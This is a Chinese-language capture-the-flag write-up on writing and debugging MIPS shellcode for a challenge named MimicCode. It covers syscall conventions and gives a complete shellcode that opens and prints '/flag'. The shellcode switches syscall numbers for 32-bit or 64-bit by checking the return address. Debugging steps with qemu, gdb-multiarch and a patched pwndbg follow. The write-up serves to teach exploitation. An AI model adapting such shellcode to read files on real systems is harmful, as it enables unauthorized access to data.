和 x86 的系统调用相似,MIPS 系统调用也会用到系统调用号。可以参考文章:MIPS 指令集 Shellcode 编写入门-安全客 - 安全资讯平台 (anquanke.com)
MIPS架构有多个版本,包括MIPS I、II、III、IV,以及MIPS V,它们各是MIPS32/64( 32位、64位的实现)发布的五个版本。早期的MIPS架构只有32位的版本,随后才开发64位的版本。截至2017年4月,MIPS32/64的当前版本是MIPS32/64 Release 6。MIPS32/64与MIPS I-V的主要区别不仅在于它除了用户态架构外,还定义了特权内核模式的系统控制协处理器。
因为MIPS架构版本较多,不同版本指令集也有略微差异,搜集了一些常见MIPS架构指令集。使用系统调用的过程依旧是先赋值好参数($a0、$a1、$a2),然后使用 syscall 指令触发中断,来调用相应函数:
如,这里如果需要调用 exit(1)
函数,可以表示成以下的汇编代码:
li $a0,1
li $v0,4001 // sys_exit
syscall 0x40404
与 x86 指令不同的是,这里的系统调用号是存储在 v0 寄存器中。
故MimicCode题目中MIPS架构shellcode:
li $t1, 0x2f666c61
sw $t1, ($sp)
lui $t9, 0x6700
sw $t9, 4($sp)
li $t1,0xfa5
li $t2,0x106f
li $t6,0x40054c
beq $ra,$t6,main
nop
li $t1,0x138a
li $t2,0x13af
main:
move $a0,$sp
li $a1,0
li $a2,0
move $v0, $t1
syscall 0x40404
li $a0, 1
move $a1, $v0
li $a3, 100
move $v0, $t2
syscall 0x40404
关键指令如下:
li $t6,0x40054c
beq $ra,$t6,main
beq指令用法为:beq rs,rt,offset。
指令作用为:if rs=rt then branch,将地址为rs的通用寄存器的值与地址为rt的通用寄存器的值进行比较,如果相等,那么发生转移。
$t6寄存器存放32位程序固定返回地址,$ra寄存器存放当前shellcode的返回地址,通过判断两个寄存器中返回地址确定程序位数。
qemu-mips64 -g 1234 ./ShellcodeRunnerMIPS64,通过qemu-mips64启动程序。
打开调试窗口依次输入:
gdb-multiarch ./ShellcodeRunnerMIPS64
target remote localhost:1234
bp *0x120004088
但是我们发现pwndbg异常,对shellcode调试带来很大的困难。
起初以为是gdb的bug,不使用插件发现gdb可正常显示寄存器和堆栈的内容。
pwndbg未考虑不同版本mips架构的差异,导致寄存器序号不匹配,手动修改pendbg源码可正常调试该mips64程序。
总结:
mips架构版本太多了....针对不同版本进行,shellcode编写和调试真的好麻烦。